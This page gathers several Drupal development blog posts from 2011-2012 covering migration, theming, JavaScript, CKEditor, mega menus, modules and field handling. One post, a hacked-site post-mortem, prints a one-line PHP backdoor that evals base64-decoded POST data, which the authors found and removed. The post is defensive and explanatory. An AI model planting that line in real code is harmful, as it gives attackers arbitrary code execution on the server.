  • It helps to remove all data from a sheet that isn’t related to the content type you are working on. For example, cut the taxonomy table into its individual vocabs so you only need to work with the one or two that are relavent.
  • This great little function really helps in those situations where VLOOKUP and LOOKUP won’t work.

Step 4: Import into D7

Now for the easy part. Install the Feeds module on the D7 site and clone the Node Import on the Feeds Importers page (admin/structure/feeds). There is a lot of documentation on how to use the Feeds module, but by cloning the Node Import all you really need to do is tell the importer which node to create out of the row of data (admin/structure/feeds/[your_importer]/settings/FeedsNodeProcessor) and create the mappings (admin/structure/feeds/[your_importer]/mapping). When creating the mappings, keep in mind that the SOURCE should be the label you have on the top row of you .csv file and the TARGET is the field in your D7 content type.

There are certain situations that the Feeds modules CSV Parser doesn’t handle very well, like multiple values on the same field. The node is expecting an array but the CSV Parser passes in everything as a string. This is where a module called Feeds Tamper comes to the rescue.

Feeds Tamper allows you to perform certain functions on the data after the CSV Parser has pulled it all in from the .csv file, but before the node is created in Drupal. In the example of the multi-value field where the .csv file has a list of items, then you can configure Feeds Tamper to explode() that string and make it an array that node then knows how to handle.

Step 5: Repeat until successful

Another nice feature of the Feeds module is that once you’ve imported the content you can delete it all with one button click, so don’t be afraid to test your import regularly to see what is working and what still needs some work.

Then you can repeat the whole process with the next content type or taxonomy until all of your content has been migrated successfully

A few more tips

  • Pay attention to content dependencies when deciding what content to import first. For example, categories/taxonomies should probably be done first, since your content type nodes will likely need to reference taxonomies on their import.
  • Don’t forget about path URL aliases on the D4.7 site. You’ll likely want to include those in all of your imports to maintain the same path on the upgraded site.
  • Also I recommend abandoning past revisions of your nodes if at all possible. This will make the import much less complex. Besides, we’re going to save a backup copy of the D4.7 database before decommissioning it so if we need to go back at look at something we missed, it’s not lost forever.

With newer versions of Drupal the migration process isn’t quite so painful due to great tools that exist for both the import and export of data, but Drupal 4.7 really can make your life miserable if you are unlucky enough to still have sites running on it.

This method, while not easy, is manageable and the hardest part is all of the Excel merging. If you aren’t an SQL wizard who can pull the data directly from the database, then this approach might work for you.

Let us know about your migration pains or processes in the comments below.

Mar 07 2012
Mar 07
Font sizing using rem on Drupal 7 themes

When it comes to font sizing on a website, the debate between accessibility and control rages on. The control camp prefers px font-sizes to maintain the look of the site, and the accessibility crowd prefers em to allow font scaling in the browser.

Most Drupal 7 base themes are built using ems but since the em unit is based on the parent elements font-size, dealing with the compounding of ems in nested elements can be a real pain for front-end developers. When building a list it’s likely that you’ll have an <li> nested in another <li>. If you’ve declared the <li> font-size of 1.2em then the inner <li> will be 1.2emX1.2em, and so on an so on. The math can get complicated and frustrating.

A new player in the game is the rem (and I'm not talking about the band). It functions very similarly to em, except its unit is always based on the root font-size declaration on the html element. This means that the math is simplified dramatically. I was first introduced to the rem a couple of months ago in an article by Jonathan Snook and it intrigued me enough that I used it on the most recent site we built here.

My Take on Rems

After using rems on a site build I’m a big fan. The reduced complexity makes the development of the site substantially improved. The only real downside is that font-size declarations need to be made twice due to browser incompatibility with IE8 and below.

As Snook mentions in his article, you need to declare the font-size in px first, and again in rem to accommodate IE. This allows IE9 and other browsers to use font scaling while older IE version just resort to page zooming. To me this double declaration isn’t a big deal because I would typically want to comment the em declaration with the font size in pxs anyway.  Although in Drupal 7 themes you may need to go through all the css files and the r in front of em where the theme has already used em.

Implementation Tips

Here are a few tips for anyone wanting to try using rem in your font-size declarations:

  • Define your html element with font-size as 62.5% which is 10px. The advantage of this setup is that the math is even simpler since 1 rem unit equals 10px.
  • Define your body font-size as the base font size for your site. For example 1.4rem = 14px. This declaration reduces the number of overrides you need to make to only the exceptions. Plus you can adjust the base font-size without effecting the heading sizes.
  • If you chose to define your base font-size on the <html> element instead of the body, PXtoEM.com is very helpful when making the computations necessary.
  • I continued to use em for line-heights and other spacings in order to maintain the proper spread between elements even if the font-size later changed.

The Decision

If you get frustrated by the complexity of nested ems and want to maintain the accessibility to scale fonts in the browser then I highly recommend trying rems. If you just want a pixel perfect site and force users to zoom the page instead of just the font, use pxs for your font-size declarations.

Any other Drupaler who tries or has already tried rems, let me know about your experience in the comments below.

Feb 22 2012
Feb 22
Schema.org module

Back in June of last year when Google, Bing and Yahoo! introduced Schema.org I wrote about how it would be a game changer for the semantic web. The problem was that it was difficult at best to implement semantic vocabulary on a website, even in Drupal 7. But that has all changed now.

Last week I attended Acquia’s webinar, Profiting from Drupal-Powered Semantics, and learned about a new module called the Schema.org module. The webinar was basically a demonstration of the module by its developer, Stéphane Corlosquet.

Impressions

What struck me initially was the simplicity of this module. The mapping of content types and fields to the schema.org types and properties is all done in the content type settings and the fields UI. If you set up your schema at the same time you create your content types, the additional effort is marginal. Additionally the module automagically populates the list of schema types from Schema.org which makes the choosing the semantic properties really easy.

While the module is currently at the Beta2 release I would still feel confident considering it on a large production site based on the webinar demonstration. It seems well implemented.

Benefits

The benefits of adding semantic properties are numerous; search engines are already starting to look for this data to identify the elements of your website. If you implement semantic tagging to your site you will be light years ahead of most other sites.

In the webinar the example given was that of a website selling a book and how the semantic vocabulary could be assigned to the author profiles. Stéphane showed how the semantic elements influenced actual search results on Google.

The Semantic Web is still mostly a niche concept due to the complexity of implementing it up to this point; but there is no doubt in my mind that the it is here to stay. As more content management systems develop user friendly ways to implement semantic structure it will eventually become as necessary as meta tags on a website.

If you are interested in implementing the Schema.org module, check out the recording of the Acquia webinar. You may also be interested in one of the the Schema.org recipes on drupal.org; they can help you set up your schema for common vocabularies such as Person, Recipe, or Event. Then you can be on the cutting edge of search engine site optimization.

Has anyone tried out the Schema.org module? Let us know in the comments what you like and don't like.

Feb 15 2012
Feb 15
jQuery Logo

If you want your Drupal 7 site to have a easy user interface with unique effects, you will likely need to add presentational javascript/jQuery to your theme at some point. There are two situations where we might need to add some presentational javascript that each require a different approach:

  • Global: Adding some javascript or a new jQuery plugin that will apply across the entire site.
  • Specific: Adding a snippet of js code that will only apply to a particular view or content type.

Performance and caching

The reason for the varying approaches is to optimize the the performance of the site. If you have javascript that will apply across many parts of the entire site, you only want to load it once and get it cached. If you have a piece of code that only fires on one page, don’t load it up on every page.

Global javascript example

We often pre-fill the global search field with a label (“Search this site”) instead of displaying the label outside of the field. There is a nice jQuery plugin, Example, that accomplishes the task. But to get it to work we need to load the plugin and also our own code to tell the plugin which fields to pre-fill with what text. Clearly this javascript should run on every page on the site.

  1. Place the javascript (plugin and custom) file in your theme folder. We use a /js folder for all javascript files.
    • In this example we upload the jquery.example.min.js plugin file & our custom file that we called fieldtext.js.
  2. Add a line to your .info file for each of the global javascript files.
    • scripts[] = js/jquery.example.min.js
    • scripts[] = js/fieldtext.js
  3. Rebuild the theme registry (drupal url: admin_menu/flush-cache/theme)

Specific javascript example

A common time to need some javascript on only one page of the site is when you have an exposed filter (select list) on a view and you need to alter the first option from the default “- Any -” to something more descriptive. Using jQuery we can use the text() function to alter it.

An example:

$("#edit-field-profile-location-value option:first").text("- Any Location -");

I prefer to have all of my javascript in files in the /js folder inside my theme. Obviously you could include this jQuery in a specific template (tpl.php) file if it already exists, but you don’t have to override the template just for this.

/**
 * Override or insert variables into the html templates.
 */
function yourtheme_preprocess_html(&$vars) {

/*** Ad js files to specific sections of the site ****/
$options = array('type' => 'file');  //tells Drupal that the javascript in drupal_add_js is a file

//Checks if the required string is in the classes array that appears in the body tag on pages created by a view.  Reproduce the following lines for each new section.
if ((in_array('section-profile', $vars['classes_array']))) {
  //Load the js file.
  drupal_add_js(drupal_get_path('theme', 'yourtheme'). '/js/profile.js', $options);
  }
}
  1. Find a body class for the page or section where you want the javascript to run.
  2. Create the javascript file in your theme: js/profile.js in this example because it acts on my profile content type.
  3. To tell Drupal when and how to load this file add a few lines to the yourtheme_preprocess_html() function in your template.php file.
    • If you already have this function then add the code inside at the end of it instead of creating a new function.
  4. Replace “yourtheme” with the name of your theme in the function name and the drupal_add_js line
  5. Replace profile.js with the name of your js file
  6. Replace “section-profile” with the body class you pinpointed in step one.

If you have multiple sections of the site that each need javascript added to just their section, you can repeat these steps for each section and add new if statements to the yourtheme_preprocess_html function

Javascript files

In the files you’ve created with your custom javascript, keep in mind that your code needs to be wrapped in a closure to isolate it from other javascript elsewhere on your site. There are a few different ways to write a closure but I prefer wrapping my code like this:

jQuery(document).ready(function($) {
 
  /*** Your custom code goes here ***/

});

Advanced javascript

There are some more advanced techniques for adding javascript to your site using something Drupal calls behaviors. Behaviors have the potential to be really powerful but are more complicated to get a grasp on than what we’ve gone over so far. If you find yourself needing to reload your javascript each time an AJAX call is made or you are writing a custom module with javascript you should read up on behaviors.

Javascript & jQuery can help make your site easier to use and more interesting to interact with, so I recommend spicing your site up with some nice js touches here and there. Hopefully now you can see how to include javascript code in your Drupal 7 site. If this is all new, give it a try and let us know how it goes. If you are a javascript ninja leave your tips in the comments.

Feb 01 2012
Feb 01
CKEditor for Drupal logo

CKEditor is the WYSIWYG (What You See Is What You Get) editor of choice around the Digett office. While some may bemoan the use of a WYSIWYG editor at all, even an experienced developer can usually save a lot of time during content entry by using one. Drupal does not come with a built-in editor but there are many excellent options; CKEditor is the cream of the crop.

The CKEditor 3rd-party Software

There are always two parts to an HTML editor, the 3rd-party software and the Drupal module that integrates it with Drupal. As with any 3rd-party software, that component must be downloaded separately from its own site (not Drupal.org) and integrated with your Drupal site using a Drupal module downloaded from Drupal.org.

Some advantages of CKEditor over many of the other HTML editors available include:

  • Time-tested - CKEditor started out as FCKeditor in 2003.
  • Actively developed - There is a new incremental release at least every few months.
  • Popular - CKEditor/FCKeditor is by far the most used WYSIWYG editor on Drupal sites.
  • Extensible - There are many plugins specifically for Drupal that can be easily added. (e.g. IMCE, Media, Drupal Teaser Break, etc.)

Drupal Modules

Once you’ve reached the decision that CKEditor is your WYSIWYG of choice, you have two options for integrating it into your Drupal site.

  1. There is a module called Wysiwyg, which was built as a universal integration for all of the various HTML editors available for Drupal.
  2. The other module is called CKEditor - WYSIWYG HTML editor, and was designed to integrate only the CKEditor software into Drupal.

Wysiwyg Module

Since its creation, the Wysiwyg module has gained tremendous support as one of the most installed modules in all of Drupal. The feat that it accomplishes of allowing a site to use any WYSIWYG editor is impressive; it will even allow you to run multiple editors on the same site based on the input/text format chosen for a particular textarea. If you find yourself in need of this kind of feature, the WYSIWYG editor is the integration module for you.

CKEditor module

The CKEditor module (in the form of FCKeditor module) has been around since November 2006. Since it is specifically designed for the CKEditor HTML editor, the settings available are much more complete; nearly any setting that could be manipulated in the CKEditor config files is available in the user interface of this module. We find that it’s easier to setup and make adjustments with this module over the Wysiwg module. Some nice features are:

  • There is a drag and drop interface for the buttons that are displayed on the toolbar.
  • Each user can configure their own settings (if given permission).
  • The Styles select box can be added in each theme.
  • The editor is skinable.
  • Custom configuration settings can be added through the GUI.

Drupal 6 note from the project page: “In version 6.x users were forced to define the set of include/exclude rules based on the ID of textarea or the path to the page. In Drupal 7 things are [simplified]. All you have to do is to pick up the input formats where CKEditor should be enabled.”

Since the CKEditor module has so many settings, I highly recommend following the installation instructions in the README file that come with the module. There are some settings that need to be changed in the ‘Filtered HTML’ text format in order to make CKEditor function correctly and eliminate the need to give users permission to use the ‘Full HTML’ format.

Results

We have chosen to use the CKEditor module with all of our Drupal 7 installations. Until the WYSIWYG module catches up on the feature set the CKEditor module will keep going strong, and it will continue to be my recommendation. If you have experience with or opinions about either of these modules, let us know in the comments.

Jan 25 2012
Jan 25
Mega Menu Whitehouse.gov

Back in September, I wrote a blog post about making Mega Menus in Drupal. After publishing the post I found numerous issues with the proposed method and ended up using another method on the project that precipitated the article. After recently receiving a few comments on the original post I realized that it was time for a followup.

Types of Mega Menus

In my opinion there are two different types of Mega Menus—Simple and Composite—and each type should be constructed in a different way in Drupal.

You are creating a Simple Mega Menu when you have a long list of menu items that you want to place in multiple columns ordered top to bottom then left column to right column. For example, the City of Houston has some long menus that could be easily turned into multi-row mega menus.

A Composite Mega Menu is different because instead of being one long list of like menu items, it is made up of many different elements. For instance, a Composite Mega Menu may have secondary and tertiary menu items listed together along with an image or other content in the same dropdown. A great example of this type of menu is Whitehouse.gov:

Simple Mega Menu

Implementing a Simple Mega Menu can be done exclusively with CSS as long as the menu list is a fixed number of items and won’t change. If the number of items changes, you would need to update the CSS manually (An override function could be written to make this dynamic, but the CSS way is so easy. Besides, how often do menus really change once they’ve been setup?).

Assuming your dropdown menu is written as an unordered list, then the HTML for your menu would look something like this:


<ul class="”dropdown-box”"> /* wraps the secondary menu items. */
	      <li>Menu Item 1</li>
	      <li>Menu Item 2</li>
	      <li>Menu Item 3</li>
	            etc...
</ul>

To make the list into a multi-column mega menu, we first need to do some calculations. In this example we will have 24 total items we want to divide into three columns. Use this worksheet to help you calculate the needed values.

  1. Total number of menu items:   24   
  2. Total number of columns:    3   
  3. Divide #1 by #2 for the number of items in each column:    8    (Round up to the nearest whole number.)
  4. Desired Width per column:    155px   
  5. Desired Height per item:    18px   
  6. Multiply #2 by #4 for the total width of the dropdown box:    465px   
  7. Multiply #3 by #5 for the total height of the dropdown box:    144px   

Now that we have all of the necessary values we can build the css using nth-child psuedo classes. (For more info read: How nth-child Works and Useful nth-child Recipes)

CSS Code:


ul.dropdown-box {
  width: 465px;  /* value #6 */
  height: 144px;  /* value #7 */
}
ul.dropdown-box li {
  width: 155px;  /* value #4 */
  float: none;
  clear: none;
  line-height: 18px;  /* value #5 */
  position: relative;
  margin-left: 0px;
}
ul.dropdown-box li:nth-child(n+8) {   /* value #3 */
  margin-left: 155px;  /*value #4
}
ul.dropdown-box li:nth-child(n+15) {  /* (value #3 X 2) - 1 */  /* If there were more columns repeat this declaration and increment the multiplier each time. */
  margin-left: 310px;  /*(value #4 X 2)   /* If there were more columns repeat this declaration and increment the multiplier each time. */
}
ul.dropdown-box li:nth-child(7n+8) {    /*(value #3 - 1)  /* value #3 */
  margin-top: -144px;  /* Negative value #4 */
}

Composite Mega Menu

Believe it or not, Composite Mega Menus are much easier to explain, because there is a module. The Menu Views module allows you to attach a view inside a menu item; since Views can be lists of item, node teasers, and so much more, the options are endless. It would be overkill to use this module for the Simple Mega Menus, but for anything else it’s brilliant. You could even reproduce the Whitehouse.gov menu by placing a node teaser in the header or footer of a HTML list view. LevelTen, the creators of this module, wrote an article introducing the Menu Views module that you might want look at if you are considering this approach.

Mega Conclusion

If you find any of this helpful, please let us know in the comments. Dissenting opinions are also welcome.

Jan 18 2012
Jan 18
Field with Haystacks

Overriding the output of an individual field on a node can be done by overriding the node template, but it sure does feel like overkill for just one field. Sometimes it would be great to just override the field itself without touching the field values in the database.

The Case for template_preprocess_field

The function template_preprocess_field can be used to manipulate just the markup of the field in the $variables array before it’s output to your theme. There are a number of reasons why you would want to use this function as apposed to overriding field.tpl.php or node.tpl.php in your theme:

  • It’s faster. Processing an efficient php function will always be faster than Drupal’s template override system, looking for the right file and processing it.
  • Less Code. When you override the output of the node.tpl.php file to adjust a single field output you are also taking on the responsibility of outputting every field in the specific manner you want. So it could take a large amount of code to build a functioning node override.
  • Fewer files to manage. When overriding the field.tpl.php you’ll end up with a new file for every field you override (something like field--field-name.tpl.php).

Usage

In this example I’m going to take a geofield and change its output to provide a link to a Google Map. Geofield integrates well with OpenLayers, but in this case I don’t want the overhead of OpenLayers and don’t need to actually display the maps on the node.

First, create the template_preprocess_field function in the template.php file of your theme. Replace the word template with your theme name or you will end up with a WSOD.


function template_preprocess_field(&$vars) {
  // Your code goes here.
}

The next step is to isolate the field that you would like to override. I do that with an if statement that tests for the the field name.


if($vars['element']['#field_name'] == 'field_event_geofield') {
  
}
Note: I’m using the $vars array (which is this functions name for $variables). A useful step at this point is to print this array inside the if statement. If you have the devel module turned on this can usually be done with dpm($vars);. However, in the template_preprocess_field function I had hit or miss success using dpm(). I’m not sure why it only works for certain fields, but kpr() works flawlessly. So I would recommend placing the line kpr($vars); inside this if statement so you can see the entire array.

The markup for your field will be located in the array at $vars['items']['0']['#markup']. This is what we want to override. In our example the markup for geofield will likely be something like “Latitude 29.419992, Longitude -98.484321” which is useless. We need the values for each part latitude and longitude to construct the url.

The raw values of the field are located in the $vars array at $vars['element']['#items']['0'][‘lat’] & $vars['element']['#items']['0'][‘lat’];

With this information we can rebuild the field markup. First I’m going to check that values exist for latitude and longitude, then create the link to google maps using those values. So this is how we put it all together.


function template_preprocess_field(&$vars) {
  if($vars['element']['#field_name'] == 'field_event_geofield') {
    //kpr($vars);  //Uncomment to output the $vars array.
    if(isset($vars['element']['#items']['0']['lat']) && isset($vars['element']['#items']['0']['lon'])) {
      $vars['items']['0']['#markup'] = 'View Map';
    }
  return;
  }
}

If you need to override multiple fields then repeat everything in the if($vars['element']['#field_name']) statement within the same template_preprocess_field function, and customize it. It’s also a good idea to add the line “return;” to the end of the if statement to increase the speed of the function by exiting as soon as possible.

As with many things in Drupal there are multiple ways to accomplish the same task. The template_preprocess_field function is my favorite, the fastest and I believe the simplest way to override the markup of a few select fields. If you have other ideas or suggestions or you find this helpful, please let us know in the comments.

Jan 11 2012
Jan 11

Overriding a template file is relatively common task for a front-end developer, but depending on the base theme used it’s not always clear how to go about doing it.

Here at Digett we’ve begun to use AdaptiveTheme as our starting point for two Drupal 7 sites we are currently building, where previously we were using Fusion or Zen on Drupal 6. This caused us some heartache in overriding templates and brought to light the lack of clear documentation on the subject. There are a lot of opinions on Drupal.org but not much clear instruction.

Template Files

Most Drupal themes will come with a minimum of 3 default template files: html.tpl.php, page.tpl.php and node.tpl.php. Many other template files may be included that control the display of more specific elements such as comments or individual fields. Each of these files can be overridden for a specific condition simply by creating a new file in the theme folder with the correct name. These file names are called “Template Suggestions” and there is a standard set of these suggestions built into Drupal and listed in the documentation as Drupal 7 Template Suggestions.

Page Template Per Content Type

A common override that is not included in the default list is the page.tpl.php override based on the content type being displayed. There is a node.tpl.php override based on the same condition which leads to confusion as to where the page override exists. On top of that, themes like Zen add this type of override to the Template Suggestions, which leads those using Zen to believe that this is part of the default list. Check the theme documentation to see if this override has been added to the Template Suggestions by the theme. If it hasn’t, you need to add it manually.

The process is straightforward. We can create additional Template Suggestions simply by adding them to the ‘theme_hook_suggestions array in our template.php file.

  1. Open the template.php file in your theme for editing.
  2. Look for a function called yourthemename_preprocess_page (replace the yourthemename with your theme’s name).
  3. If this function already exists, you will need to add the if statement to the end of the function just before the closing bracket. Otherwise you’ll need to create a new function to look like this:

function yourthemename_preprocess_page(&$vars) {
  if (isset($vars['node']->type)) {
    $vars['theme_hook_suggestions'][] = 'page__' . $vars['node']->type;
  }
}

Now you can create a template file called page--content-type.tpl.php and all nodes with that type will use the new template file.

Filename Notes:

  • Use two dashes after the word ‘page’ in the filename.
  • If your content type is two or more words, replace the underscore ( _ ) with a short dash ( - ) in the content type machine name.

Related Articles

Jan 04 2012
Jan 04
Drupal Vase by Valarie Geckler

We've been using Drupal 7 for all new sites for the past few months now, so we’ve put together a base site that we mirror to begin development on each new site. These are the contrib modules that we use on our base site.  The modules in the Foundational and Everysite lists are always enabled by default.

Foundational Modules

The modules in this list are ones that we consider foundational. That means that they are either helper modules that are dependencies for other modules or we consider them indispensable for any good Drupal site to run well. I’m not going to explain these because they are so well know and/or self- explanatory. If you have questions feel free to leave them in the comments and I will do my best to answer.

Everysite Modules

These are the modules that we install on every site but are not foundational to the way Drupal should work. Our preferences will show through here more as there are other similar modules that you may substitute for some of these.

  • Administration menu - Although not perfect we prefer this to Drupal's default toolbar simply for the dropdowns and the ease of flushing caches. Try it if you haven't.
  • Custom Contextual Links - We use this module to add client interface into the contextual links on nodes and blocks. Then clients don't need to be overwhelmed with the admin menu toolbar.
  • Chrome Frame - After we ended out support of IE6 compatibility this module became necessary to encourage IE users to upgrade to IE9 or install Chrome Frame.
  • Google Analytics - The role options make it worth using this module over simply adding GA code to the template.
  • Media - Media has replaced IMCE and all other image modules for us in Drupal 7.
  • Menu block - Critical for secondary and tertiary menus in the sidebar.
  • Meta tags quick - Since the Meta tags module is still in alpha we started using this one and "it just works." We may go back to Meta tags once it's stable but that remains to be seen.
  • Mollom - Just use it. It's the best and free for small clients.
  • Nice Menus - Provides more flexibility in dropdown menus than the default Drupal menus. I don't necessarily like the default CSS file, but we made our own that makes more sense for our designs.
  • Page Title - Necessary SEO module.
  • Redirect - Might not want to enable this until the site is production ready or you will end up with a bunch of unnecessary 301 redirects, but it's critical for a production site.
  • Search 404 - Brilliant module that performs a search based on the URL that returned the 404. The search engines still get the 404 returned so there is no SEO impact, but the user gets an intelligent response instead of a generic "page cannot be found."
  • Webform - We use this for our contact forms and to integrate lead capture forms with third parties.
  • Weight - An amazing module that integrates with views and provides easy sorting for clients on content like homepage rotators, etc.
  • XML sitemap - Self-explanatory SEO module.

Optional but Likely Modules

  • Display suite - Useful for any custom content displays. It can almost replace the need for template overrides.
  • Link - This is useful for a content type that contains a link elsewhere.
  • Search configuration - We often create content types that we use for design, such at a "homepage rotator" content type. We don't want the site search to include that type of content in the search, and this module gives us the ability to exclude certain content types (among other things).
  • String Overrides - Powerful module that uses the translation function to replace a string in Drupal with the string of your choice.
  • Views Slideshow - It's rare that we design a site that doesn't have some kind of rotating promo or slider content. This powerful views module based on the jQuery cycle plug-in can reproduce nearly any slideshow/slider effect you can imagine.
  • Workbench - We use this to help site content managers keep track of the content they've created and manage moderation. There is occasionally a need for some of the access and moderation add-on modules also.

Development Modules

Check out these modules. They sure can make development and deployment much easier and more consistent.

Preferred Themes

We generally build Drupal 7 sites using one of these two themes as a starting point. The decision between the two come down to the question, "Does this site need to be mobile friendly or is it purely a desktop site?"

If you have modules that you can't live without, please share in the comments.  Or if you also love one of the modules above cast your vote in the comments and let others know why.

Image: "Drupal Vase" painted and photographed by Valarie Geckler

Dec 28 2011
Dec 28
Hacker Code

Within the last couple of months one of our client’s websites was hacked. This is a rarity, and we responded swiftly to restore a previous version of the site; however, we still needed to get rid of the actual problem. Through the experience there were a number of lessons learned that anyone, whether client or developer could benefit from. 

Reason the site was hacked

The story starts with a website that was built by Digett over five years ago. When you consider that the first website ever was created on August 6, 1991, a five year-old website today is 25% as old as the entire World Wide Web — that’s a long time for a website to live.

The more substantial statistic is that in its five-year existence, this site had never been updated, and was still running version 4.7 of the Drupal content management system (the current stable version of Drupal is version 7). The site allows visitors to post pictures and text to the site without needing to login to the site, a kind of activity that is especially difficult to insulate against hacking attempts. These factors combined into the perfect storm, and the site was hacked.

Type of hack

Whenever a user typed the address to the site into their browser they made it to the site and could navigate as if there was no problem; but users who searched for the site on Google or any other search engine were redirected to the hacker’s website when they clicked on the search result.

The nature of this hack made it difficult to detect. Typically those most familiar with a site, such as the owner and the developer, will just enter the address directly and see nothing wrong with the site — only on the rare chance that someone close to the site searches for it will the hack be detected.

Resolution

After repeated attempts to clean the site just to see it re-hacked the next day, we were able to convince the client that the best course of action was to update the site. The site was upgraded to Drupal 7, which would take a few blog posts to describe, and we thought we were in the clear.

The site remained clean for a week or so, only to be hacked yet again. By this point we wanted to pull our hair out. We started from the beginning and began to systematically eliminate possibilities. We changed database passwords, FTP passwords, and Drupal login credentials. We cleaned the database of all ‘php’, ‘script’, and ‘perl’ strings. And each morning we arrived to a newly hacked site. This went on for two days.

On the third day, after half a dozen runs through the file system looking for malicious code, we finally tracked down the culprit — a single php file with one line of code:


eval(base64_decode($_POST["php"]))

Once removed the site has remained clean for a couple of weeks now.

(For those who are interested, this code allows someone who knows the location of the file to attach any php code they want as the value of the ‘php’ key in the attribute string of the url. In short they can run any php code they want. It’s bad stuff!)

A learning experience

In my opinion the age of the site code base was the underlying reason for the initial hack. Once that was updated the site vulnerabilities were eliminated. The only thing left was a sneaky and tenacious line of malicious code that had survived the upgrade process.

Anyone still running a site on Drupal 4.7 is playing with fire, but sometimes it’s hard to convince clients who have spent good money on a professional site that it’s time to do it again.

Lessons for clients

  • Budget the money to keep your site code up to date with the latest security patches. Ask your developer how much is needed and how often it should be done. I touched on reasons to update your Drupal site earlier this year.
  • Talk with your site developer about other possible security concerns that should be addressed. With this site we were dealing with I would prefer from a security standpoint that users be required to login to the site before posing images and text. If that isn’t possible, then work out the limitations to what anonymous users are allowed to post and clamp down on everything else.

Lessons for developers

  • Prepare your clients during the initial sales process for the ongoing maintenance costs of your particular framework. Then you won’t find yourself in the position of trying to convince clients to upgrade five years later.
  • Have a plan for the eventuality of a site getting hacked. Have backups and build a checklist of your procedure to make sure no malicious code sneaks past you.

This whole experience was rather painful for the client and us, but if we can learn these lessons and prevent other clients and developers from making these mistakes, then at least our experience was worth it.

If you are a client of Digett or any other web development company and you are not sure if your site is being kept up to date through a maintenance retainer, contact your developer now and ask how to get that issue resolved.

Dec 21 2011
Dec 21

The addition of Fields in Drupal 7 core has created quite a shakeup in the modules that interact with fields and create new kinds of fields. In Drupal 6 they were all CCK field modules, but now many of them have changed names or been replaced completely with new modules that better leverage the Drupal 7 entity concept. Over the last few month, these five modules have become some of my favorites for those sites that need more complexity in the fields that are created and how they relate to one another.

References

The References module contains the ‘node reference’ and ‘user reference’ modules that were separate in Drupal 6. There are two other approaches to this same idea in the Relation and Entity Reference modules, but I find this module just works the way I expect without any headache even though it’s only a beta.

I use these modules when I need to link a node to a user or to another node. For example, I may want to link an article to the profile of the author and I can use node reference. If I want to link to the author’s user account I would use user reference.

Note (12/27/2011): As Larry Garfield pointed out in the comments, References module is planned to be deprecated once Entity Reference module has the same or expanded capabilities.  As of this date, I would still recommend References for production sites, but keep an eye on Entity References and plan to upgrade once it is ready.

Corresponding Node References

Corresponding Node References is a great little module that solves a usability issue easily and elegantly. This module will let you link two node reference fields in different content types so that if one changes the other will also change. The purpose of this is to allow you to have two nodes like to each other bi-directionally. Then if one changes they both change.

I have used this module in a situation where a company’s website has employee profiles as nodes and the company is divided into many different industry teams. I need to provide a way to assign a profile to an industry when editing the profile, but I’d also like to be able to pull up the industry and change the profiles assigned to it without needing to also go edit the profiles.

This module gives you a settings page where you map the two node references as pointing to each other, then the modules handles the process of keeping them in sync.

Field group

The Field Group functionality allows you to wrap a fieldset, div, vertical tab, or horizontal tab around a group of fields in your content type or entity. The precursor to this module was part of CCK in D6, but is its own module in D7.

I use this to group similar fields and make it easier for the site manager when creating content. The vertical tab display is especially helpful if the fields you are grouping are optional fields. You can place them in a vertical tab just like the publishing options on the node/add page. This modules will also create groups around fields on the display.

Field Collection

Field Collection is similar to Field Group at first glance, but rather than just visually grouping fields together, this module will create a new entity where the fields in the group live. The reason this is important is because now the content creator can create multiple sets of fields.

Let’s say you have a site that displays race schedules for local 5Ks and the results for those events. You could set up a content type called race where all the event information lives, then setup a field collection within that content type for results. The field collection will contain the fields’ name, time, race number, age, etc. The content creator can add as many line items of results to the race content type as they need.

My rule of thumb for when I use a Field Collection instead of a Node Reference is if the content in the collection shouldn’t be edited outside the context of the parent node. So race results on a race node are a field collection, but linking an authors profile node to his article use a node reference field because the profile and article should be edited and created separately.

Conditional Fields

Conditional Fields is my new favorite field module. It gives you the ability to make certain fields conditional upon the state of another field in the content type. It will even use some cool jquery animation to hide and show the conditional fields if you want.

I recently used this on a content type to allow hierarchy of nodes. By checking a box that the node is a child, then the select list of available parent nodes appears. I find that this kind of functionality increases usability of the site for the end user dramatically by only displaying necessary fields.

The Fields capabilities in Drupal 7 has been my favorite improvement over Drupal 6. While much of the functionality above may have been available in Drupal 6 CCK modules, the new interface and tighter integrations of Fields has made all the difference. If you know of any other field modules that have made you site building easier or improved the usability of your sites, please leave us a link in the comments.

Dec 14 2011
Dec 14
Drupal

An early new year’s resolution for me is to become more involved in the Drupal community. It’s something that I’ve been thinking about for months, but Angie “webchick” Byron’s keynote at DrupalCamp Austin on November 19 gave me the tangible steps and motivation to jump in. It has been a lot easier to get involved than I anticipated.

An amazing statistic that Webchick shared in her presentation is that 99.63% of those who download Drupal leave and are never heard from again; they never create an account on Drupal.org, never file an issue, never contribute a patch. If we could somehow double the participation rate it would still be less than 1%! This motivated me to see more Drupal newbies make it over the learning curve since clearly Drupal’s first impression does not impress the majority of downloaders. It also proved to me that the Drupal economy is full of opportunity for those who are willing to give to the community.

Where to begin

Webchick suggested in her keynote address a short list of tasks for someone interested in getting involved in Drupal.

  • Complete a task in the Novice Issue Queue. These tasks in the issue queue have been flagged as easy enough for a novice to complete.
  • Document as you go. Any time something trips you up, document your solution and post it to Drupal.org Documentation. You are helping the next person who comes along with the same issue and it might even be useful for you in the future when you need to reproduce the same results.
  • IRC Chat. Drupal has various channels on IRC you can go to for support, but you can also log and help someone else out when you have a few spare moments.
  • Join an initiative. Dries has established a list of initiatives for Drupal 8. You can participate in the discussions and help the community make the best decisions.

All of these tasks are available for novice drupal users, but can also be challenging to the most experienced developer. Angie seemed to be emphasizing the point that you can help out no matter what your experience.

Baby steps

Armed with some strong motivation and a list of simple tasks, I chose to jump into IRC chat and help out when I can. Over the last week I’ve stayed logged on to the #drupal & #drupal-support channels during the work day. Whenever “my code's compiling” I hop over to the channels and look for an easy question that I can answer. I’ve answered about a dozen questions by now and each time I feel that helped another drupaler on their way. Only one time have I gotten in over my head, but the person asking the question was so grateful that I was even trying.

My biggest fear before starting this adventure was that I wouldn’t be able to contribute much, since I have a limited amount of down time during my work day. But it has not been the case at all — most of the questions I choose take less than 5 minutes to answer, so my aggregate time spent has equaled 15 to 30 min a day.

Diving deeper

The next task I’ll add to my adventure will probably be documentation. Working with such a variety of clients, I find often find myself building something that I have never built before; I can see how it would be helpful to document the process of solving the issue on drupal.org. The time commitment will be minor, but getting in the habit could be the difficult part.

About Drupal Sun

Drupal Sun is an Evolving Web project. It allows you to:

  • Do full-text search on all the articles in Drupal Planet (thanks to Apache Solr)
  • Facet based on tags, author, or feed
  • Flip through articles quickly (with j/k or arrow keys) to find what you're interested in
  • View the entire article text inline, or in the context of the site where it was created

See the blog post at Evolving Web

Evolving Web